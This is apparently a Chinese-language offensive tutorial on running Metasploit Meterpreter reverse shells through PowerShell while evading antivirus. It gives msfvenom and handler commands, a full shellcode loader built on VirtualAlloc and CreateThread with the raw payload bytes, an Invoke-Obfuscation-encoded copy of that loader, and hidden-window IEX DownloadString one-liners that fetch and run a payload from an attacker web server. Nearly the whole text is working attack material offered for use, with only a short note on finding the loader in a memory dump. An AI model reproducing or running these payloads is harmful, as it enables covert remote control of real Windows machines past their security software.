1 直接使用powershell加载马

1.1 生成马

  1. msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.4 lport=3333 -f psh -o shell.ps1

image.png

1.2 监听

  1. handler -H 192.168.1.4 -P 3333 -p windows/x64/meterpreter/reverse_https

image.png

1.3执行

  1. powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1

image.png

1.4 上线

image.png

1.5 免杀

其生成的ps1文件静态和动态不能免杀，相关的ps1文件如下：

  1. $uvqBRhGLcBFR = @"
  2. [DllImport("kernel32.dll")]
  3. public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  4. [DllImport("kernel32.dll")]
  5. public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  6. "@
  8. $ioxoxpUC = Add-Type -memberDefinition $uvqBRhGLcBFR -Name "Win32" -namespace Win32Functions -passthru
  10. [Byte[]] $iuEdDCzUTleVM = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x48,0x8b,0x52,0x18,0x56,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0x50,0x8b,0x48,0x18,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xc,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x34,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5,0xd,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x26,0x0,0x0,0x0,0x2f,0x76,0x33,0x64,0x6d,0x36,0x37,0x45,0x5a,0x61,0x68,0x32,0x61,0x52,0x35,0x74,0x46,0x2d,0x74,0x73,0x30,0x39,0x67,0x67,0x6a,0x31,0x36,0x41,0x6b,0x33,0x39,0x6e,0x50,0x6d,0x74,0x36,0x30,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
  13. $OyEIWVTvJDHO = $ioxoxpUC::VirtualAlloc(0,[Math]::Max($iuEdDCzUTleVM.Length,0x1000),0x3000,0x40)
  15. [System.Runtime.InteropServices.Marshal]::Copy($iuEdDCzUTleVM,0,$OyEIWVTvJDHO,$iuEdDCzUTleVM.Length)
  17. $ioxoxpUC::CreateThread(0,0,$OyEIWVTvJDHO,0,0,0)

image.png

2.I nvoke-Obfuscation对ps1免杀

2.1 生成马

  1. msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.4 lport=3333 -f psh -o shell.ps1

image.png

2.2 马免杀

2.2.1 工具

  1. https://github.com/danielbohannon/Invoke-Obfuscation

2.2.2 免杀

1.进入Invoke-Obfuscation目录，在powershell中执行

  1. Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation

image.png
image.png
2.然后执行set scriptpath shell.ps1指定待处理的Ps1文件，
image.png
然后输入encoding，再选择编码方式，比如1
image.png
3.然后执行out c:\test\jiami.ps1即可输出处理好的ps1文件.
image.png
我们来看一下这个ps1文件的内容，如下所示：

  1. [STrING]::jOIn( '' , ( '36y117w118y113-66%82a104v71,76,99~66C70a82-32-61a32~64v34%13w10,91%68%108>108~73,109-112w111a114%116w40>34w107%101,114a110v101,108~51,50v46a100~108w108y34>41C93,13a10,112C117~98-108>105v99C32v115C116y97w116v105v99~32-101a120w116>101v114>110-32C73C110>116y80w116y114~32>86y105w114w116w117~97v108y65w108a108C111C99a40,73,110%116%80v116v114~32,108%112%65C100a100-114>101~115C115w44>32a117-105%110>116~32y100C119>83~105v122w101y44,32v117,105-110v116w32~102a108-65-108w108y111%99C97-116y105%111,110a84v121%112%101,44%32~117a105%110>116%32w102a108y80w114>111>116%101~99a116%41y59w13v10y91,68>108y108a73w109y112>111-114~116a40v34C107C101a114w110~101~108v51v50,46v100~108>108,34v41~93a13v10%112,117w98w108%105C99,32-115w116w97%116y105-99a32v101%120%116C101C114~110C32y73-110-116,80%116v114C32C67-114C101w97~116>101y84%104y114v101C97-100,40v73>110v116a80y116y114>32-108w112-84a104-114~101%97-100>65-116-116-114,105,98C117~116~101a115C44,32C117y105-110C116y32C100y119w83>116v97a99%107-83y105w122v101-44v32%73~110-116%80a116y114v32C108a112v83>116%97%114a116a65~100~100w114>101>115v115-44C32-73,110,116>80,116~114y32,108-112C80,97-114a97-109,101>116w101a114w44a32C117v105v110-116~32a100C119>67w114w101w97%116v105>111v110,70~108>97~103v115a44%32w73y110C116%80C116v114~32w108-112,84v104w114-101a97y100%73a100,41~59y13,10,34>64C13v10>13-10y36C105C111v120y111>120-112v85w67v32C61v32~65,100%100y45v84v121~112v101y32,45%109w101>109>98>101v114a68%101%102y105%110C105~116-105a111%110%32>36>117-118-113v66y82~104,71y76-99%66C70v82y32-45%78v97%109~101%32C34y87-105>110,51>50>34C32a45a110w97y109%101v115w112-97C99,101C32>87%105w110%51~50a70y117w110y99v116%105y111C110,115v32~45a112~97a115,115>116,104,114v117%13w10%13y10>91y66a121>116-101a91C93~93,32a36a105w117C69y100>68a67~122,85y84v108w101C86w77%32%61v32,48%120%102w99v44w48>120y52%56-44w48C120%56,51%44C48v120%101~52a44w48C120%102y48C44>48v120v101a56>44v48v120C99a99C44-48w120%48w44C48-120>48%44C48-120-48v44>48v120C52~49~44w48a120a53%49v44,48w120%52-49C44w48>120y53a48,44,48y120v53-50>44v48>120%52~56-44C48-120%51-49v44v48y120v100~50w44~48>120v54-53w44a48w120y52~56a44>48v120y56w98C44w48%120C53%50w44-48v120v54~48w44,48~120C53~49-44v48C120%52~56~44-48a120y56v98>44v48v120~53v50-44-48y120w49a56y44y48-120,53~54a44>48y120w52~56%44w48-120~56~98C44,48a120>53y50-44a48w120a50y48>44y48-120v52w56y44C48y120C56C98>44%48>120~55v50a44y48C120y53-48~44a48C120,52>56v44-48C120-102a44>48-120,98v55y44v48w120~52%97C44v48w120%52y97-44y48%120C52C100C44-48%120v51~49~44-48%120C99-57-44a48%120C52y56a44%48~120v51y49%44-48w120C99a48,44>48,120>97C99%44>48%120v51>99C44a48%120,54>49>44>48,120~55y99>44,48%120v50a44%48-120a50-99-44C48v120y50a48,44C48w120>52C49C44%48~120,99%49>44,48>120,99y57y44C48>120~100~44%48~120~52a49C44y48-120w49y44C48w120>99C49~44w48w120a101%50>44w48w120y101~100~44>48w120w53~50,44a48y120v52%56w44>48a120y56>98y44w48,120a53a50v44v48-120,50w48,44>48%120v52-49~44,48-120~53C49C44a48C120,56w98~44a48%120y52,50a44~48y120w51a99%44-48~120a52w56,44,48,120%49C44,48w120%100w48-44w48C120C54a54C44v48w120a56>49w44w48-120~55-56a44C48w120a49w56,44C48>120>98w44%48w120w50,44w48w120>102~44y48-120w56%53C44,48y120w55%50y44C48y120C48y44-48%120v48a44C48w120C48v44~48,120~56>98v44,48a120y56,48%44y48y120C56%56~44-48w120%48%44~48~120v48~44a48y120a48~44v48y120a52v56C44y48-120v56v53-44w48%120-99,48%44v48~120>55~52w44-48w120>54-55w44,48C120,52y56-44y48%120>49v44C48~120,100v48y44~48y120y52-52y44w48a120y56a98,44w48y120~52a48a44a48v120,50y48~44>48%120~52y57,44,48>120w49%44a48a120w100%48v44>48-120v53~48w44,48-120v56C98w44,48-120-52w56~44-48v120,49-56y44~48,120y101>51v44%48-120C53y54C44%48C120C52v56v44%48,120%102,102%44C48y120a99C57,44w48v120~52>49,44v48C120~56v98,44~48C120w51y52%44,48%120w56w56>44~48-120a52w100a44w48w120>51v49-44v48y120~99-57>44~48~120%52C56a44C48w120%49y44C48w120>100%54C44y48w120%52y56a44~48w120-51y49C44>48>120v99,48v44y48y120a52y49C44w48-120>99%49,44w48,120v99y57>44C48%120v100,44>48C120y97v99>44w48a120y52C49,44w48C120>49v44,48v120a99~49,44>48-120,51~56,44a48w120,101y48%44-48~120y55%53C44,48v120-102y49-44%48v120>52%99a44,48y120y51a44-48%120>52C99v44a48C120v50w52a44>48-120~56,44,48~120a52v53a44C48~120a51a57y44>48a120>100w49,44,48C120>55v53>44C48-120y100w56-44%48a120C53,56y44v48v120,52v52-44w48v120-56%98y44y48-120~52C48y44~48-120-50y52y44v48y120-52y57-44,48-120%49>44-48-120y100>48v44w48C120-54a54~44>48a120,52>49a44%48y120v56%98%44v48,120-99a44a48v120%52>56y44%48C120a52w52%44v48>120w56>98>44>48v120y52y48y44w48v120C49v99%44-48~120v52,57>44%48~120C49,44%48~120w100~48>44w48y120%52w49~44~48>120a56w98C44~48y120a52w44w48~120%56w56y44~48w120C52~49a44%48,120a53~56C44a48C120w52-56v44v48,120%49a44w48~120~100C48%44>48,120~52y49>44C48y120~53%56C44,48v120v53~101~44y48w120%53v57v44,48~120a53~97v44,48w120,52~49C44w48w120,53>56y44~48C120,52a49-44%48a120a53a57%44a48%120~52%49C44y48%120,53y97%44C48,120a52a56w44y48>120v56~51-44a48~120-101a99~44w48C120C50C48~44C48-120%52>49C44>48%120~53C50w44,48%120%102~102~44y48%120y101~48%44y48%120a53C56v44-48~120%52w49-44-48a120v53a57,44-48~120w53y97y44y48y120C52~56v44~48w120v56y98,44>48~120v49v50a44w48~120a101~57C44>48~120w52~98-44,48w120v102-102,44,48a120v102%102v44,48~120>102C102w44w48a120~53a100>44,48C120C52y56,44%48y120>51y49~44v48w120%100%98>44~48v120,53C51%44v48-120a52,57y44w48v120,98C101%44a48-120a55>55w44-48w120w54y57-44y48C120y54,101w44%48v120y54>57v44a48%120y54C101a44C48>120w54~53%44~48v120a55,52%44C48y120a48a44C48C120w52a49a44v48y120a53-54,44a48~120-52w56w44a48%120>56C57w44>48-120~101%49a44v48a120C52C57%44C48w120y99C55-44,48a120C99y50-44~48~120>52,99%44>48~120>55~55a44C48,120>50,54~44w48v120y55%44,48C120C102a102%44C48v120a100a53~44,48,120C53>51%44>48>120-53-51C44>48a120a52>56,44>48~120~56>57y44,48,120~101-49C44-48>120-53~51>44,48y120w53,97v44%48v120,52%100~44~48w120w51%49w44v48~120w99,48C44~48~120a52a100v44C48,120C51>49y44~48y120v99-57y44>48a120>53a51,44v48~120,53w51-44v48a120v52a57a44a48y120y98a97C44y48y120-51v97C44-48C120~53v54v44v48,120-55-57a44>48y120v97a55-44~48~120~48a44v48>120C48a44-48w120w48,44v48v120a48a44>48v120,102C102w44%48y120~100,53y44~48a120%101,56%44v48,120a99C44-48,120v48-44>48,120v48~44a48v120C48v44,48%120w51%49C44%48~120~51%57~44%48~120-51a50~44>48y120a50w101a44,48>120%51a49~44%48~120>51~54>44a48C120%51a56a44>48a120w50C101w44,48C120v51C49-44-48>120v50C101~44C48w120y51-52~44a48C120a48v44,48>120>53,97C44y48a120,52%56w44v48C120-56~57C44>48~120>99-49>44y48w120%52a57v44~48,120y99~55a44w48%120C99%48%44y48%120C53v44y48-120C100~44y48v120C48~44%48a120y48>44a48C120a52~100y44a48,120>51a49y44,48C120v99-57-44a48a120,53%51~44,48v120,53~51~44y48>120v54%97y44v48w120~51-44v48,120>53~51C44a48a120a52y57w44~48~120-98C97%44>48>120,53C55C44C48w120y56C57-44~48w120-57v102a44w48y120>99~54v44~48C120,48%44%48~120,48w44-48C120v48-44v48~120v48w44,48w120v102w102w44-48y120-100C53a44-48v120y101~56%44%48~120C50w54a44C48-120%48~44v48C120%48>44w48,120a48-44v48-120,50w102-44C48w120-55a54v44y48y120a51,51-44>48%120v54a52w44-48>120~54C100a44~48w120-51w54v44>48v120~51v55v44~48%120,52C53a44v48v120w53y97>44-48-120C54y49y44C48C120-54>56-44v48~120v51v50~44C48-120y54y49>44v48C120-53v50~44v48~120v51y53v44C48a120%55a52-44y48v120y52,54-44C48w120~50~100C44,48v120y55-52v44v48,120v55%51>44-48>120a51v48,44v48%120~51>57,44a48C120v54~55y44,48~120~54a55v44-48>120y54>97~44v48a120>51>49~44a48v120a51w54%44a48C120y52>49a44>48w120w54>98,44%48~120y51%51v44%48w120C51>57,44w48y120,54-101,44w48a120v53y48y44>48,120y54%100w44%48,120,55w52C44,48-120>51-54,44C48y120-51v48a44a48>120C48,44v48v120w52-56y44y48C120%56,57-44v48w120%99w49>44a48>120>53-51w44y48y120v53~97y44>48>120>52~49%44w48~120y53C56v44a48,120,52~100,44%48>120a51-49C44v48y120v99~57-44%48-120C53w51>44,48y120~52-56a44a48~120~98-56y44%48C120>48~44w48v120v51>50a44%48C120v97w56C44v48v120C56>52,44~48C120%48v44w48v120v48%44a48,120v48a44~48a120>48C44C48>120,53-48-44%48a120>53a51C44C48~120%53>51%44%48%120~52-57~44v48C120w99y55v44y48w120>99%50w44C48y120-101y98,44%48y120a53%53%44v48a120-50,101>44>48C120~51y98~44w48v120w102C102a44>48~120v100v53,44,48v120%52~56%44v48%120a56%57-44-48a120>99C54a44w48~120~54,97y44%48y120y97,44,48%120%53~102w44>48C120C52,56C44C48,120-56y57%44,48-120~102,49~44v48,120a54a97a44%48y120>49y102,44w48C120~53C97v44,48C120~53w50~44,48,120C54~56%44C48v120w56w48w44C48>120v51,51v44a48y120%48C44,48,120%48-44C48>120>52C57>44v48y120C56y57a44%48a120,101%48%44w48-120w54~97y44,48%120%52C44,48C120y52y49-44w48a120v53~57v44y48y120v52>57%44>48,120>98a97w44C48v120a55-53,44w48C120~52~54a44~48-120w57a101>44a48,120w56>54y44a48C120,48,44C48y120,48a44a48~120>48,44~48,120w48>44a48v120%102-102y44a48a120%100,53w44a48C120>52~100a44~48,120a51%49v44w48C120a99a48y44w48~120-53v51w44-48,120a53%97,44>48v120a52w56%44%48w120w56~57w44-48~120%102v49w44C48-120,52~100w44y48,120y51-49w44w48v120y99y57-44-48~120w52-100>44a48,120%51y49C44,48,120,99w57C44a48v120v53,51%44y48w120%53%51-44-48%120,52C57v44~48>120C99-55~44a48C120>99y50%44v48-120-50-100w44y48C120a54>44w48a120%49~56w44a48a120%55a98y44w48>120v102C102C44~48-120w100v53C44w48w120v56-53v44v48v120v99y48-44%48w120>55v53v44%48,120a49C102>44>48>120C52v56-44-48%120%99>55~44w48%120%99-49>44a48a120w56-56y44y48,120w49C51,44y48%120%48C44%48w120w48y44%48>120>52y57y44>48,120%98C97a44>48%120C52>52a44y48w120>102%48~44y48w120>51~53>44>48%120C101%48w44w48~120,48>44,48>120y48%44a48>120w48y44C48%120-48>44y48-120y102v102y44%48v120%100-53-44C48~120w52%56-44-48>120w102w102>44C48~120,99~102~44a48y120-55~52v44C48~120y50y44~48a120C101~98a44-48v120a97v97y44y48w120v101~56,44,48w120-53>53~44C48%120C48>44y48-120>48a44>48y120>48C44C48v120v53w51%44~48~120>53v57w44v48C120%54>97y44a48a120C52y48v44>48-120%53>97v44>48-120y52>57>44y48w120~56~57a44-48w120,100y49w44y48%120>99~49-44w48-120>101~50%44y48w120%49,48v44v48~120w52>57C44w48~120a99>55C44w48a120~99~48y44C48y120~48w44~48,120w49>48~44C48~120v48>44C48v120C48C44y48y120-52w57>44%48~120>98C97~44>48,120-53w56a44,48a120a97>52v44,48v120,53%51a44y48a120%101~53v44,48>120C48,44~48-120a48y44>48>120~48>44a48v120C48%44w48w120>102-102,44%48C120>100C53y44,48>120v52w56,44y48y120C57,51%44-48a120y53-51>44C48~120>53w51a44>48%120,52w56a44y48y120-56y57-44~48-120,101%55-44w48a120~52~56,44v48,120v56y57C44C48%120>102%49-44C48,120v52-56~44C48w120y56>57a44y48,120a100y97w44>48y120w52%57a44>48a120w99~55>44v48y120>99>48w44%48%120y48%44,48C120C50y48a44-48-120-48,44~48a120-48,44y48%120%52,57v44~48-120v56w57%44w48%120>102a57y44C48%120w52,57>44a48v120-98,97%44y48%120y49>50w44>48v120%57w54C44C48w120%56w57-44a48~120C101C50v44,48C120w48y44~48%120>48,44~48v120,48>44a48y120w48~44a48-120~102y102~44a48%120,100C53>44>48-120w52-56a44a48v120%56%51y44a48>120>99y52a44,48>120C50>48w44y48y120C56v53-44>48y120v99>48C44%48>120,55y52-44,48a120C98-50%44v48~120>54-54v44%48v120,56%98,44-48C120C55w44-48v120a52v56-44%48>120>49>44w48,120v99w51y44v48%120w56y53w44C48v120y99w48%44-48a120C55w53>44C48>120%100a50~44y48,120,53y56>44,48a120v99v51a44~48w120v53C56a44%48,120%54%97>44-48%120w48-44%48w120a53v57%44a48w120w52~57a44%48,120v99C55~44y48>120v99C50v44-48C120y102,48-44-48v120-98>53~44y48w120a97>50C44y48w120%53w54%44C48C120-102~102~44-48,120v100a53%13C10-13-10%13y10>36C79y121-69v73v87%86w84w118,74%68w72~79,32>61y32C36w105w111y120,111C120,112-85a67~58%58,86,105%114C116%117%97C108w65w108y108w111v99C40,48y44%91y77>97v116v104a93>58y58C77a97a120v40y36-105C117v69~100~68C67,122y85>84>108C101w86C77y46a76>101y110w103w116-104v44>48%120~49C48,48>48,41%44-48y120v51y48y48w48y44C48y120>52-48v41v13,10%13y10%91C83-121w115-116>101-109>46w82a117y110y116y105-109v101~46w73v110%116>101,114%111~112,83v101y114,118%105%99-101w115w46a77-97>114~115w104v97a108w93%58,58y67v111v112~121%40,36,105v117a69y100y68a67v122%85w84y108C101,86w77-44w48-44,36C79-121%69~73a87w86C84%118,74~68w72w79,44>36,105w117~69v100y68,67%122y85%84,108>101y86~77a46>76C101w110w103~116%104>41>13y10%13y10~36C105,111%120%111~120w112>85C67w58a58~67>114,101-97a116-101a84~104>114~101w97a100w40a48>44C48C44a36%79%121a69v73,87,86%84a118a74,68a72v79y44%48w44C48w44>48-41a13,10' -SPLiT'-' -SPliT'y' -sPLIT'>' -SPlIt'C'-SpLit'w'-sPlit'a'-SPLIT',' -Split '%' -sPlIt'v' -SPLit '~'| FOREach{ ( [iNT]$_-AS[ChaR]) } ))|&((geT-variablE '*mdr*').nAmE[3,11,2]-joIn'')

2.3 监听

  1. handler -H 192.168.1.4 -P 3333 -p windows/x64/meterpreter/reverse_https

image.png

2.4 执行

  1. powershell.exe -ExecutionPolicy Bypass -NoExit -File 1.ps1

image.png

2.5 上线

image.png
image.png

2.6 分析

其生成的ps1文件静态和动态不能免杀
通过分析，可以看到其运行的是powershell进程，
image.png
我们直接dump powershell进程然后使用notepad++打开，可以看到里面加载的powershell命令
image.png

3. Web方式加载到内存中执行(分离免杀)

3.1 思路

一般情况下的shellcode免杀思路如下：

  1. 写一个下载器
  2. Shellcdoe分离
  3. Shellcodel加密

3.2 Powershell加载优点

使用powershell进行加载可满足以下条件：

  1. 1.现有的加载器(powershell)，有个缺点，杀软直接干powershell
  2. 2.Shellcode分离，一般情况下，相关的shellcode都是通过通过web方式
  3. 3.Shellcode不落地，在内存中执行，可过杀软
  4. 4.可以通过Https进行传输，shellcode无法在中间通过流量识别
  5. 5.生成shellcode时可以进行加密
  6. 6.若能动态协商使用AES加密最好(冰蝎思路)

3.3 生成马

  1. msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.4 lport=3333 -f psh -o shell.ps1

image.png

3.4 监听

  1. handler -H 192.168.1.4 -P 3333 -p windows/x64/meterpreter/reverse_https

image.png

3.5 搭建web

利用kali自带的apache2搭建好web环境，并将生成的shell.ps1马放到里面，确保可以下载。
web环境:http://192.168.1.4/1.ps1
image.png

3.6 执行

  1. Powershell
  2. Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.1.4/1.ps1")

image.png

3.7 上线

image.png

3.8 Shell生成与上线语法

3.8.1 方法一

3.8.1.1 生成

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=5555 -f psh-reflection > a.ps1

image.png

3.8.1.2 监听

  1. handler -H 192.168.1.4 -P 5555 -p windows/x64/meterpreter/reverse_tcp

image.png

3.8.1.2 执行上线

  1. powershell.exe –nop –w hidden –c "IEX ((NEW-object net.webclient).downloadstring('http://192.168.1.4/a.ps1'))"

image.png
image.png

3.8.2 方法二

  1. Powershell
  2. Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.5.1/shell.ps1")

image.png